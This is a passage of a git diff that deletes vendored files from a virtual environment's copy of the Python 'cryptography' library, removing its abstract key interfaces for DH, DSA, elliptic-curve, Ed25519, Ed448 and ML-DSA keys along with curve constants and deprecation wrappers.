the prime modulus. - """ - - @abc.abstractmethod - def parameters(self) -> DHParameters: - """ - The DHParameters object associated with this public key. - """ - - @abc.abstractmethod - def public_numbers(self) -> DHPublicNumbers: - """ - Returns a DHPublicNumbers. - """ - - @abc.abstractmethod - def public_bytes( - self, - encoding: _serialization.Encoding, - format: _serialization.PublicFormat, - ) -> bytes: - """ - Returns the key serialized as bytes. - """ - - @abc.abstractmethod - def __eq__(self, other: object) -> bool: - """ - Checks equality. - """ - - @abc.abstractmethod - def __copy__(self) -> DHPublicKey: - """ - Returns a copy. - """ - - @abc.abstractmethod - def __deepcopy__(self, memo: dict) -> DHPublicKey: - """ - Returns a deep copy. - """ - - -DHPublicKeyWithSerialization = DHPublicKey -DHPublicKey.register(rust_openssl.dh.DHPublicKey) - - -class DHPrivateKey(metaclass=abc.ABCMeta): - @property - @abc.abstractmethod - def key_size(self) -> int: - """ - The bit length of the prime modulus. - """ - - @abc.abstractmethod - def public_key(self) -> DHPublicKey: - """ - The DHPublicKey associated with this private key. - """ - - @abc.abstractmethod - def parameters(self) -> DHParameters: - """ - The DHParameters object associated with this private key. - """ - - @abc.abstractmethod - def exchange(self, peer_public_key: DHPublicKey) -> bytes: - """ - Given peer's DHPublicKey, carry out the key exchange and - return shared key as bytes. - """ - - @abc.abstractmethod - def private_numbers(self) -> DHPrivateNumbers: - """ - Returns a DHPrivateNumbers. - """ - - @abc.abstractmethod - def private_bytes( - self, - encoding: _serialization.Encoding, - format: _serialization.PrivateFormat, - encryption_algorithm: _serialization.KeySerializationEncryption, - ) -> bytes: - """ - Returns the key serialized as bytes. - """ - - @abc.abstractmethod - def __copy__(self) -> DHPrivateKey: - """ - Returns a copy. - """ - - @abc.abstractmethod - def __deepcopy__(self, memo: dict) -> DHPrivateKey: - """ - Returns a deep copy. - """ - - -DHPrivateKeyWithSerialization = DHPrivateKey -DHPrivateKey.register(rust_openssl.dh.DHPrivateKey) - -# Aliases that do not emit the deprecation warning on attribute access, for -# internal use (e.g. the unions in -# cryptography.hazmat.primitives.asymmetric.types, which are evaluated at -# import time). -_DHPublicKey = DHPublicKey -_DHPrivateKey = DHPrivateKey - -utils.deprecated( - generate_parameters, - __name__, - _FFDH_DEPRECATION_MSG, - utils.DeprecatedIn50, - name="generate_parameters", -) - -utils.deprecated( - DHPrivateNumbers, - __name__, - _FFDH_DEPRECATION_MSG, - utils.DeprecatedIn50, - name="DHPrivateNumbers", -) - -utils.deprecated( - DHPublicNumbers, - __name__, - _FFDH_DEPRECATION_MSG, - utils.DeprecatedIn50, - name="DHPublicNumbers", -) - -utils.deprecated( - DHParameterNumbers, - __name__, - _FFDH_DEPRECATION_MSG, - utils.DeprecatedIn50, - name="DHParameterNumbers", -) - -utils.deprecated( - DHParameters, - __name__, - _FFDH_DEPRECATION_MSG, - utils.DeprecatedIn50, - name="DHParameters", -) - -utils.deprecated( - DHParameters, - __name__, - _FFDH_DEPRECATION_MSG, - utils.DeprecatedIn50, - name="DHParametersWithSerialization", -) - -utils.deprecated( - DHPublicKey, - __name__, - _FFDH_DEPRECATION_MSG, - utils.DeprecatedIn50, - name="DHPublicKey", -) - -utils.deprecated( - DHPublicKey, - __name__, - _FFDH_DEPRECATION_MSG, - utils.DeprecatedIn50, - name="DHPublicKeyWithSerialization", -) - -utils.deprecated( - DHPrivateKey, - __name__, - _FFDH_DEPRECATION_MSG, - utils.DeprecatedIn50, - name="DHPrivateKey", -) - -utils.deprecated( - DHPrivateKey, - __name__, - _FFDH_DEPRECATION_MSG, - utils.DeprecatedIn50, - name="DHPrivateKeyWithSerialization", -) diff --git a/venv/Lib/site-packages/cryptography/hazmat/primitives/asymmetric/dsa.py b/venv/Lib/site-packages/cryptography/hazmat/primitives/asymmetric/dsa.py deleted file mode 100644 index f24555744191461eb39c4a6056f46b93b8b77c57..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/primitives/asymmetric/dsa.py +++ /dev/null @@ -1,179 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -import abc -import typing - -from cryptography.hazmat.bindings._rust import openssl as rust_openssl -from cryptography.hazmat.primitives import _serialization, hashes -from cryptography.hazmat.primitives.asymmetric import utils as asym_utils -from cryptography.utils import Buffer - - -class DSAParameters(metaclass=abc.ABCMeta): - @abc.abstractmethod - def generate_private_key(self) -> DSAPrivateKey: - """ - Generates and returns a DSAPrivateKey. - """ - - @abc.abstractmethod - def parameter_numbers(self) -> DSAParameterNumbers: - """ - Returns a DSAParameterNumbers. - """ - - -DSAParametersWithNumbers = DSAParameters -DSAParameters.register(rust_openssl.dsa.DSAParameters) - - -class DSAPrivateKey(metaclass=abc.ABCMeta): - @property - @abc.abstractmethod - def key_size(self) -> int: - """ - The bit length of the prime modulus. - """ - - @abc.abstractmethod - def public_key(self) -> DSAPublicKey: - """ - The DSAPublicKey associated with this private key. - """ - - @abc.abstractmethod - def parameters(self) -> DSAParameters: - """ - The DSAParameters object associated with this private key. - """ - - @abc.abstractmethod - def sign( - self, - data: Buffer, - algorithm: asym_utils.Prehashed | hashes.HashAlgorithm, - ) -> bytes: - """ - Signs the data - """ - - @abc.abstractmethod - def private_numbers(self) -> DSAPrivateNumbers: - """ - Returns a DSAPrivateNumbers. - """ - - @abc.abstractmethod - def private_bytes( - self, - encoding: _serialization.Encoding, - format: _serialization.PrivateFormat, - encryption_algorithm: _serialization.KeySerializationEncryption, - ) -> bytes: - """ - Returns the key serialized as bytes. - """ - - @abc.abstractmethod - def __copy__(self) -> DSAPrivateKey: - """ - Returns a copy. - """ - - @abc.abstractmethod - def __deepcopy__(self, memo: dict) -> DSAPrivateKey: - """ - Returns a deep copy. - """ - - -DSAPrivateKeyWithSerialization = DSAPrivateKey -DSAPrivateKey.register(rust_openssl.dsa.DSAPrivateKey) - - -class DSAPublicKey(metaclass=abc.ABCMeta): - @property - @abc.abstractmethod - def key_size(self) -> int: - """ - The bit length of the prime modulus. - """ - - @abc.abstractmethod - def parameters(self) -> DSAParameters: - """ - The DSAParameters object associated with this public key. - """ - - @abc.abstractmethod - def public_numbers(self) -> DSAPublicNumbers: - """ - Returns a DSAPublicNumbers. - """ - - @abc.abstractmethod - def public_bytes( - self, - encoding: _serialization.Encoding, - format: _serialization.PublicFormat, - ) -> bytes: - """ - Returns the key serialized as bytes. - """ - - @abc.abstractmethod - def verify( - self, - signature: Buffer, - data: Buffer, - algorithm: asym_utils.Prehashed | hashes.HashAlgorithm, - ) -> None: - """ - Verifies the signature of the data. - """ - - @abc.abstractmethod - def __eq__(self, other: object) -> bool: - """ - Checks equality. - """ - - @abc.abstractmethod - def __copy__(self) -> DSAPublicKey: - """ - Returns a copy. - """ - - @abc.abstractmethod - def __deepcopy__(self, memo: dict) -> DSAPublicKey: - """ - Returns a deep copy. - """ - - -DSAPublicKeyWithSerialization = DSAPublicKey -DSAPublicKey.register(rust_openssl.dsa.DSAPublicKey) - -DSAPrivateNumbers = rust_openssl.dsa.DSAPrivateNumbers -DSAPublicNumbers = rust_openssl.dsa.DSAPublicNumbers -DSAParameterNumbers = rust_openssl.dsa.DSAParameterNumbers - - -def generate_parameters( - key_size: int, backend: typing.Any = None -) -> DSAParameters: - if key_size not in (1024, 2048, 3072, 4096): - raise ValueError("Key size must be 1024, 2048, 3072, or 4096 bits.") - - return rust_openssl.dsa.generate_parameters(key_size) - - -def generate_private_key( - key_size: int, backend: typing.Any = None -) -> DSAPrivateKey: - parameters = generate_parameters(key_size) - return parameters.generate_private_key() diff --git a/venv/Lib/site-packages/cryptography/hazmat/primitives/asymmetric/ec.py b/venv/Lib/site-packages/cryptography/hazmat/primitives/asymmetric/ec.py deleted file mode 100644 index 39e67519cf92bdbdc3aa93fcde488718f200bb8e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/primitives/asymmetric/ec.py +++ /dev/null @@ -1,369 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -import abc -import typing - -from cryptography import utils -from cryptography.exceptions import UnsupportedAlgorithm, _Reasons -from cryptography.hazmat._oid import ObjectIdentifier -from cryptography.hazmat.bindings._rust import openssl as rust_openssl -from cryptography.hazmat.primitives import _serialization, hashes -from cryptography.hazmat.primitives.asymmetric import utils as asym_utils - - -class EllipticCurveOID: - SECP192R1 = ObjectIdentifier("1.2.840.10045.3.1.1") - SECP224R1 = ObjectIdentifier("1.3.132.0.33") - SECP256K1 = ObjectIdentifier("1.3.132.0.10") - SECP256R1 = ObjectIdentifier("1.2.840.10045.3.1.7") - SECP384R1 = ObjectIdentifier("1.3.132.0.34") - SECP521R1 = ObjectIdentifier("1.3.132.0.35") - BRAINPOOLP256R1 = ObjectIdentifier("1.3.36.3.3.2.8.1.1.7") - BRAINPOOLP384R1 = ObjectIdentifier("1.3.36.3.3.2.8.1.1.11") - BRAINPOOLP512R1 = ObjectIdentifier("1.3.36.3.3.2.8.1.1.13") - - -class EllipticCurve(metaclass=abc.ABCMeta): - @property - @abc.abstractmethod - def name(self) -> str: - """ - The name of the curve. e.g. secp256r1. - """ - - @property - @abc.abstractmethod - def key_size(self) -> int: - """ - Bit size of a secret scalar for the curve. - """ - - @property - @abc.abstractmethod - def group_order(self) -> int: - """ - The order of the curve's group. - """ - - -class EllipticCurveSignatureAlgorithm(metaclass=abc.ABCMeta): - @property - @abc.abstractmethod - def algorithm( - self, - ) -> asym_utils.Prehashed | hashes.HashAlgorithm: - """ - The digest algorithm used with this signature. - """ - - -class EllipticCurvePrivateKey(metaclass=abc.ABCMeta): - @abc.abstractmethod - def exchange( - self, algorithm: ECDH, peer_public_key: EllipticCurvePublicKey - ) -> bytes: - """ - Performs a key exchange operation using the provided algorithm with the - provided peer's public key. - """ - - @abc.abstractmethod - def public_key(self) -> EllipticCurvePublicKey: - """ - The EllipticCurvePublicKey for this private key. - """ - - @property - @abc.abstractmethod - def curve(self) -> EllipticCurve: - """ - The EllipticCurve that this key is on. - """ - - @property - @abc.abstractmethod - def key_size(self) -> int: - """ - Bit size of a secret scalar for the curve. - """ - - @abc.abstractmethod - def sign( - self, - data: utils.Buffer, - signature_algorithm: EllipticCurveSignatureAlgorithm, - ) -> bytes: - """ - Signs the data - """ - - @abc.abstractmethod - def private_numbers(self) -> EllipticCurvePrivateNumbers: - """ - Returns an EllipticCurvePrivateNumbers. - """ - - @abc.abstractmethod - def private_bytes( - self, - encoding: _serialization.Encoding, - format: _serialization.PrivateFormat, - encryption_algorithm: _serialization.KeySerializationEncryption, - ) -> bytes: - """ - Returns the key serialized as bytes. - """ - - @abc.abstractmethod - def __copy__(self) -> EllipticCurvePrivateKey: - """ - Returns a copy. - """ - - @abc.abstractmethod - def __deepcopy__(self, memo: dict) -> EllipticCurvePrivateKey: - """ - Returns a deep copy. - """ - - -EllipticCurvePrivateKeyWithSerialization = EllipticCurvePrivateKey -EllipticCurvePrivateKey.register(rust_openssl.ec.ECPrivateKey) - - -class EllipticCurvePublicKey(metaclass=abc.ABCMeta): - @property - @abc.abstractmethod - def curve(self) -> EllipticCurve: - """ - The EllipticCurve that this key is on. - """ - - @property - @abc.abstractmethod - def key_size(self) -> int: - """ - Bit size of a secret scalar for the curve. - """ - - @abc.abstractmethod - def public_numbers(self) -> EllipticCurvePublicNumbers: - """ - Returns an EllipticCurvePublicNumbers. - """ - - @abc.abstractmethod - def public_bytes( - self, - encoding: _serialization.Encoding, - format: _serialization.PublicFormat, - ) -> bytes: - """ - Returns the key serialized as bytes. - """ - - @abc.abstractmethod - def verify( - self, - signature: utils.Buffer, - data: utils.Buffer, - signature_algorithm: EllipticCurveSignatureAlgorithm, - ) -> None: - """ - Verifies the signature of the data. - """ - - @classmethod - def from_encoded_point( - cls, curve: EllipticCurve, data: bytes - ) -> EllipticCurvePublicKey: - utils._check_bytes("data", data) - - if len(data) == 0: - raise ValueError("data must not be an empty byte string") - - if data[0] not in [0x02, 0x03, 0x04]: - raise ValueError("Unsupported elliptic curve point type") - - return rust_openssl.ec.from_public_bytes(curve, data) - - @abc.abstractmethod - def __eq__(self, other: object) -> bool: - """ - Checks equality. - """ - - @abc.abstractmethod - def __copy__(self) -> EllipticCurvePublicKey: - """ - Returns a copy. - """ - - @abc.abstractmethod - def __deepcopy__(self, memo: dict) -> EllipticCurvePublicKey: - """ - Returns a deep copy. - """ - - -EllipticCurvePublicKeyWithSerialization = EllipticCurvePublicKey -EllipticCurvePublicKey.register(rust_openssl.ec.ECPublicKey) - -EllipticCurvePrivateNumbers = rust_openssl.ec.EllipticCurvePrivateNumbers -EllipticCurvePublicNumbers = rust_openssl.ec.EllipticCurvePublicNumbers - - -class SECP521R1(EllipticCurve): - name = "secp521r1" - key_size = 521 - group_order = 0x1FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA51868783BF2F966B7FCC0148F709A5D03BB5C9B8899C47AEBB6FB71E91386409 # noqa: E501 - - -class SECP384R1(EllipticCurve): - name = "secp384r1" - key_size = 384 - group_order = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC7634D81F4372DDF581A0DB248B0A77AECEC196ACCC52973 # noqa: E501 - - -class SECP256R1(EllipticCurve): - name = "secp256r1" - key_size = 256 - group_order = ( - 0xFFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551 - ) - - -class SECP256K1(EllipticCurve): - name = "secp256k1" - key_size = 256 - group_order = ( - 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - ) - - -class SECP224R1(EllipticCurve): - name = "secp224r1" - key_size = 224 - group_order = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF16A2E0B8F03E13DD29455C5C2A3D - - -class SECP192R1(EllipticCurve): - name = "secp192r1" - key_size = 192 - group_order = 0xFFFFFFFFFFFFFFFFFFFFFFFF99DEF836146BC9B1B4D22831 - - -class BrainpoolP256R1(EllipticCurve): - name = "brainpoolP256r1" - key_size = 256 - group_order = ( - 0xA9FB57DBA1EEA9BC3E660A909D838D718C397AA3B561A6F7901E0E82974856A7 - ) - - -class BrainpoolP384R1(EllipticCurve): - name = "brainpoolP384r1" - key_size = 384 - group_order = 0x8CB91E82A3386D280F5D6F7E50E641DF152F7109ED5456B31F166E6CAC0425A7CF3AB6AF6B7FC3103B883202E9046565 # noqa: E501 - - -class BrainpoolP512R1(EllipticCurve): - name = "brainpoolP512r1" - key_size = 512 - group_order = 0xAADD9DB8DBE9C48B3FD4E6AE33C9FC07CB308DB3B3C9D20ED6639CCA70330870553E5C414CA92619418661197FAC10471DB1D381085DDADDB58796829CA90069 # noqa: E501 - - -_CURVE_TYPES: dict[str, EllipticCurve] = { - "prime192v1": SECP192R1(), - "prime256v1": SECP256R1(), - "secp192r1": SECP192R1(), - "secp224r1": SECP224R1(), - "secp256r1": SECP256R1(), - "secp384r1": SECP384R1(), - "secp521r1": SECP521R1(), - "secp256k1": SECP256K1(), - "brainpoolP256r1": BrainpoolP256R1(), - "brainpoolP384r1": BrainpoolP384R1(), - "brainpoolP512r1": BrainpoolP512R1(), -} - - -class ECDSA(EllipticCurveSignatureAlgorithm): - def __init__( - self, - algorithm: asym_utils.Prehashed | hashes.HashAlgorithm, - deterministic_signing: bool = False, - ): - from cryptography.hazmat.backends.openssl.backend import backend - - if ( - deterministic_signing - and not backend.ecdsa_deterministic_supported() - ): - raise UnsupportedAlgorithm( - "ECDSA with deterministic signature (RFC 6979) is not " - "supported by this version of OpenSSL.", - _Reasons.UNSUPPORTED_PUBLIC_KEY_ALGORITHM, - ) - self._algorithm = algorithm - self._deterministic_signing = deterministic_signing - - @property - def algorithm( - self, - ) -> asym_utils.Prehashed | hashes.HashAlgorithm: - return self._algorithm - - @property - def deterministic_signing( - self, - ) -> bool: - return self._deterministic_signing - - -generate_private_key = rust_openssl.ec.generate_private_key - - -def derive_private_key( - private_value: int, - curve: EllipticCurve, - backend: typing.Any = None, -) -> EllipticCurvePrivateKey: - if not isinstance(private_value, int): - raise TypeError("private_value must be an integer type.") - - if private_value <= 0: - raise ValueError("private_value must be a positive integer.") - - return rust_openssl.ec.derive_private_key(private_value, curve) - - -class ECDH: - pass - - -_OID_TO_CURVE = { - EllipticCurveOID.SECP192R1: SECP192R1, - EllipticCurveOID.SECP224R1: SECP224R1, - EllipticCurveOID.SECP256K1: SECP256K1, - EllipticCurveOID.SECP256R1: SECP256R1, - EllipticCurveOID.SECP384R1: SECP384R1, - EllipticCurveOID.SECP521R1: SECP521R1, - EllipticCurveOID.BRAINPOOLP256R1: BrainpoolP256R1, - EllipticCurveOID.BRAINPOOLP384R1: BrainpoolP384R1, - EllipticCurveOID.BRAINPOOLP512R1: BrainpoolP512R1, -} - - -def get_curve_for_oid(oid: ObjectIdentifier) -> type[EllipticCurve]: - try: - return _OID_TO_CURVE[oid] - except KeyError: - raise LookupError( - "The provided object identifier has no matching elliptic " - "curve class" - ) diff --git a/venv/Lib/site-packages/cryptography/hazmat/primitives/asymmetric/ed25519.py b/venv/Lib/site-packages/cryptography/hazmat/primitives/asymmetric/ed25519.py deleted file mode 100644 index 70aec5b102172c981a1b3c8b279bcb1ad780ded6..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/primitives/asymmetric/ed25519.py +++ /dev/null @@ -1,116 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -import abc - -from cryptography.hazmat.bindings._rust import openssl as rust_openssl -from cryptography.hazmat.primitives import _serialization -from cryptography.utils import Buffer - - -class Ed25519PublicKey(metaclass=abc.ABCMeta): - @classmethod - def from_public_bytes(cls, data: bytes) -> Ed25519PublicKey: - return rust_openssl.ed25519.from_public_bytes(data) - - @abc.abstractmethod - def public_bytes( - self, - encoding: _serialization.Encoding, - format: _serialization.PublicFormat, - ) -> bytes: - """ - The serialized bytes of the public key. - """ - - @abc.abstractmethod - def public_bytes_raw(self) -> bytes: - """ - The raw bytes of the public key. - Equivalent to public_bytes(Raw, Raw). - """ - - @abc.abstractmethod - def verify(self, signature: Buffer, data: Buffer) -> None: - """ - Verify the signature. - """ - - @abc.abstractmethod - def __eq__(self, other: object) -> bool: - """ - Checks equality. - """ - - @abc.abstractmethod - def __copy__(self) -> Ed25519PublicKey: - """ - Returns a copy. - """ - - @abc.abstractmethod - def __deepcopy__(self, memo: dict) -> Ed25519PublicKey: - """ - Returns a deep copy. - """ - - -Ed25519PublicKey.register(rust_openssl.ed25519.Ed25519PublicKey) - - -class Ed25519PrivateKey(metaclass=abc.ABCMeta): - @classmethod - def generate(cls) -> Ed25519PrivateKey: - return rust_openssl.ed25519.generate_key() - - @classmethod - def from_private_bytes(cls, data: Buffer) -> Ed25519PrivateKey: - return rust_openssl.ed25519.from_private_bytes(data) - - @abc.abstractmethod - def public_key(self) -> Ed25519PublicKey: - """ - The Ed25519PublicKey derived from the private key. - """ - - @abc.abstractmethod - def private_bytes( - self, - encoding: _serialization.Encoding, - format: _serialization.PrivateFormat, - encryption_algorithm: _serialization.KeySerializationEncryption, - ) -> bytes: - """ - The serialized bytes of the private key. - """ - - @abc.abstractmethod - def private_bytes_raw(self) -> bytes: - """ - The raw bytes of the private key. - Equivalent to private_bytes(Raw, Raw, NoEncryption()). - """ - - @abc.abstractmethod - def sign(self, data: Buffer) -> bytes: - """ - Signs the data. - """ - - @abc.abstractmethod - def __copy__(self) -> Ed25519PrivateKey: - """ - Returns a copy. - """ - - @abc.abstractmethod - def __deepcopy__(self, memo: dict) -> Ed25519PrivateKey: - """ - Returns a deep copy. - """ - - -Ed25519PrivateKey.register(rust_openssl.ed25519.Ed25519PrivateKey) diff --git a/venv/Lib/site-packages/cryptography/hazmat/primitives/asymmetric/ed448.py b/venv/Lib/site-packages/cryptography/hazmat/primitives/asymmetric/ed448.py deleted file mode 100644 index 9ecb478bdf99ec0768dc2c0903f0ddf7f5f2822d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/primitives/asymmetric/ed448.py +++ /dev/null @@ -1,143 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -import abc - -from cryptography.exceptions import UnsupportedAlgorithm, _Reasons -from cryptography.hazmat.bindings._rust import openssl as rust_openssl -from cryptography.hazmat.primitives import _serialization -from cryptography.utils import Buffer - - -class Ed448PublicKey(metaclass=abc.ABCMeta): - @classmethod - def from_public_bytes(cls, data: bytes) -> Ed448PublicKey: - from cryptography.hazmat.backends.openssl.backend import backend - - if not backend.ed448_supported(): - raise UnsupportedAlgorithm( - "ed448 is not supported by this version of OpenSSL.", - _Reasons.UNSUPPORTED_PUBLIC_KEY_ALGORITHM, - ) - - return rust_openssl.ed448.from_public_bytes(data) - - @abc.abstractmethod - def public_bytes( - self, - encoding: _serialization.Encoding, - format: _serialization.PublicFormat, - ) -> bytes: - """ - The serialized bytes of the public key. - """ - - @abc.abstractmethod - def public_bytes_raw(self) -> bytes: - """ - The raw bytes of the public key. - Equivalent to public_bytes(Raw, Raw). - """ - - @abc.abstractmethod - def verify(self, signature: Buffer, data: Buffer) -> None: - """ - Verify the signature. - """ - - @abc.abstractmethod - def __eq__(self, other: object) -> bool: - """ - Checks equality. - """ - - @abc.abstractmethod - def __copy__(self) -> Ed448PublicKey: - """ - Returns a copy. - """ - - @abc.abstractmethod - def __deepcopy__(self, memo: dict) -> Ed448PublicKey: - """ - Returns a deep copy. - """ - - -if hasattr(rust_openssl, "ed448"): - Ed448PublicKey.register(rust_openssl.ed448.Ed448PublicKey) - - -class Ed448PrivateKey(metaclass=abc.ABCMeta): - @classmethod - def generate(cls) -> Ed448PrivateKey: - from cryptography.hazmat.backends.openssl.backend import backend - - if not backend.ed448_supported(): - raise UnsupportedAlgorithm( - "ed448 is not supported by this version of OpenSSL.", - _Reasons.UNSUPPORTED_PUBLIC_KEY_ALGORITHM, - ) - - return rust_openssl.ed448.generate_key() - - @classmethod - def from_private_bytes(cls, data: Buffer) -> Ed448PrivateKey: - from cryptography.hazmat.backends.openssl.backend import backend - - if not backend.ed448_supported(): - raise UnsupportedAlgorithm( - "ed448 is not supported by this version of OpenSSL.", - _Reasons.UNSUPPORTED_PUBLIC_KEY_ALGORITHM, - ) - - return rust_openssl.ed448.from_private_bytes(data) - - @abc.abstractmethod - def public_key(self) -> Ed448PublicKey: - """ - The Ed448PublicKey derived from the private key. - """ - - @abc.abstractmethod - def sign(self, data: Buffer) -> bytes: - """ - Signs the data. - """ - - @abc.abstractmethod - def private_bytes( - self, - encoding: _serialization.Encoding, - format: _serialization.PrivateFormat, - encryption_algorithm: _serialization.KeySerializationEncryption, - ) -> bytes: - """ - The serialized bytes of the private key. - """ - - @abc.abstractmethod - def private_bytes_raw(self) -> bytes: - """ - The raw bytes of the private key. - Equivalent to private_bytes(Raw, Raw, NoEncryption()). - """ - - @abc.abstractmethod - def __copy__(self) -> Ed448PrivateKey: - """ - Returns a copy. - """ - - @abc.abstractmethod - def __deepcopy__(self, memo: dict) -> Ed448PrivateKey: - """ - Returns a deep copy. - """ - - -if hasattr(rust_openssl, "x448"): - Ed448PrivateKey.register(rust_openssl.ed448.Ed448PrivateKey) diff --git a/venv/Lib/site-packages/cryptography/hazmat/primitives/asymmetric/mldsa.py b/venv/Lib/site-packages/cryptography/hazmat/primitives/asymmetric/mldsa.py deleted file mode 100644 index beba90fb2bee8256adecacaedef5ed5c57731d9b..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/primitives/asymmetric/mldsa.py +++ /dev/null @@ -1,505 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -import abc - -from cryptography.exceptions import UnsupportedAlgorithm, _Reasons -from cryptography.hazmat.bindings._rust import openssl as rust_openssl -from cryptography.hazmat.primitives import _serialization -from cryptography.utils import Buffer - - -class MLDSA44PublicKey(metaclass=abc.ABCMeta): - @classmethod - def from_public_bytes(cls, data: bytes) -> MLDSA44PublicKey: - from cryptography.hazmat.backends.openssl.backend import backend - - if not backend.mldsa_supported(): - raise UnsupportedAlgorithm( - "ML-DSA-44 is not supported by this backend.", - _Reasons.UNSUPPORTED_PUBLIC_KEY_ALGORITHM, - ) - - return rust_openssl.mldsa.from_mldsa44_public_bytes(data) - - @abc.abstractmethod - def public_bytes( - self, - encoding: _serialization.Encoding, - format: _serialization.PublicFormat, - ) -> bytes: - """ - The serialized bytes of the public key. - """ - - @abc.abstractmethod - def public_bytes_raw(self) -> bytes: - """ - The raw bytes of the public key. - Equivalent to public_bytes(Raw, Raw). - - The public key is 1,312 bytes for MLDSA-44. - """ - - @abc.abstractmethod - def verify( - self, - signature: Buffer, - data: Buffer, - context: Buffer | None = None, - ) -> None: - """ - Verify the signature. - """ - - @abc.abstractmethod - def verify_mu( - self, - signature: Buffer, - mu: Buffer, - ) -> None: - """ - Verify the signature over a precomputed mu (message representative). - - mu must be 64 bytes. - """ - - @abc.abstractmethod - def __eq__(self, other: object) -> bool: - """ - Checks equality. - """ - - @abc.abstractmethod - def __copy__(self) -> MLDSA44PublicKey: - """ - Returns a copy. - """ - - @abc.abstractmethod - def __deepcopy__(self, memo: dict) -> MLDSA44PublicKey: - """ - Returns a deep copy. - """ - - -if hasattr(rust_openssl, "mldsa"): - MLDSA44PublicKey.register(rust_openssl.mldsa.MLDSA44PublicKey) - - -class MLDSA44PrivateKey(metaclass=abc.ABCMeta): - @classmethod - def generate(cls) -> MLDSA44PrivateKey: - from cryptography.hazmat.backends.openssl.backend import backend - - if not backend.mldsa_supported(): - raise UnsupportedAlgorithm( - "ML-DSA-44 is not supported by this backend.", - _Reasons.UNSUPPORTED_PUBLIC_KEY_ALGORITHM, - ) - - return rust_openssl.mldsa.generate_mldsa44_key() - - @classmethod - def from_seed_bytes(cls, data: Buffer) -> MLDSA44PrivateKey: - from cryptography.hazmat.backends.openssl.backend import backend - - if not backend.mldsa_supported(): - raise UnsupportedAlgorithm( - "ML-DSA-44 is not supported by this backend.", - _Reasons.UNSUPPORTED_PUBLIC_KEY_ALGORITHM, - ) - - return rust_openssl.mldsa.from_mldsa44_seed_bytes(data) - - @abc.abstractmethod - def public_key(self) -> MLDSA44PublicKey: - """ - The MLDSA44PublicKey derived from the private key. - """ - - @abc.abstractmethod - def private_bytes( - self, - encoding: _serialization.Encoding, - format: _serialization.PrivateFormat, - encryption_algorithm: _serialization.KeySerializationEncryption, - ) -> bytes: - """ - The serialized bytes of the private key. - - This method only returns the serialization of the seed form of the - private key, never the expanded one. - """ - - @abc.abstractmethod - def private_bytes_raw(self) -> bytes: - """ - The raw bytes of the private key. - Equivalent to private_bytes(Raw, Raw, NoEncryption()). - - This method only returns the seed form of the private key (32 bytes). - """ - - @abc.abstractmethod - def sign(self, data: Buffer, context: Buffer | None = None) -> bytes: - """ - Signs the data. - """ - - @abc.abstractmethod - def sign_mu(self, mu: Buffer) -> bytes: - """ - Signs a precomputed mu (message representative). - - mu must be 64 bytes and already incorporates the context, so no - context is accepted here. - """ - - @abc.abstractmethod - def __copy__(self) -> MLDSA44PrivateKey: - """ - Returns a copy. - """ - - @abc.abstractmethod - def __deepcopy__(self, memo: dict) -> MLDSA44PrivateKey: - """ - Returns a deep copy. - """ - - -if hasattr(rust_openssl, "mldsa"): - MLDSA44PrivateKey.register(rust_openssl.mldsa.MLDSA44PrivateKey) - - -class MLDSA65PublicKey(metaclass=abc.ABCMeta): - @classmethod - def from_public_bytes(cls, data: bytes) -> MLDSA65PublicKey: - from cryptography.hazmat.backends.openssl.backend import backend - - if not backend.mldsa_supported(): - raise UnsupportedAlgorithm( - "ML-DSA-65 is not supported by this backend.", - _Reasons.UNSUPPORTED_PUBLIC_KEY_ALGORITHM, - ) - - return rust_openssl.mldsa.from_mldsa65_public_bytes(data) - - @abc.abstractmethod - def public_bytes( - self, - encoding: _serialization.Encoding, - format: _serialization.PublicFormat, - ) -> bytes: - """ - The serialized bytes of the public key. - """ - - @abc.abstractmethod - def public_bytes_raw(self) -> bytes: - """ - The raw bytes of the public key. - Equivalent to public_bytes(Raw, Raw). - - The public key is 1,952 bytes for MLDSA-65. - """ - - @abc.abstractmethod - def verify( - self, - signature: Buffer, - data: Buffer, - context: Buffer | None = None, - ) -> None: - """ - Verify the signature. - """ - - @abc.abstractmethod - def verify_mu( - self, - signature: Buffer, - mu: Buffer, - ) -> None: - """ - Verify the signature over a precomputed mu (message representative). - - mu must be 64 bytes. - """ - - @abc.abstractmethod - def __eq__(self, other: object) -> bool: - """ - Checks equality. - """ - - @abc.abstractmethod - def __copy__(self) -> MLDSA65PublicKey: - """ - Returns a copy. - """ - - @abc.abstractmethod - def __deepcopy__(self, memo: dict) -> MLDSA65PublicKey: - """ - Returns a deep copy. - """ - - -if hasattr(rust_openssl, "mldsa"): - MLDSA65PublicKey.register(rust_openssl.mldsa.MLDSA65PublicKey) - - -class MLDSA65PrivateKey(metaclass=abc.ABCMeta): - @classmethod - def generate(cls) -> MLDSA65PrivateKey: - from cryptography.hazmat.backends.openssl.backend import backend - - if not backend.mldsa_supported(): - raise UnsupportedAlgorithm( - "ML-DSA-65 is not supported by this backend.", - _Reasons.UNSUPPORTED_PUBLIC_KEY_ALGORITHM, - ) - - return 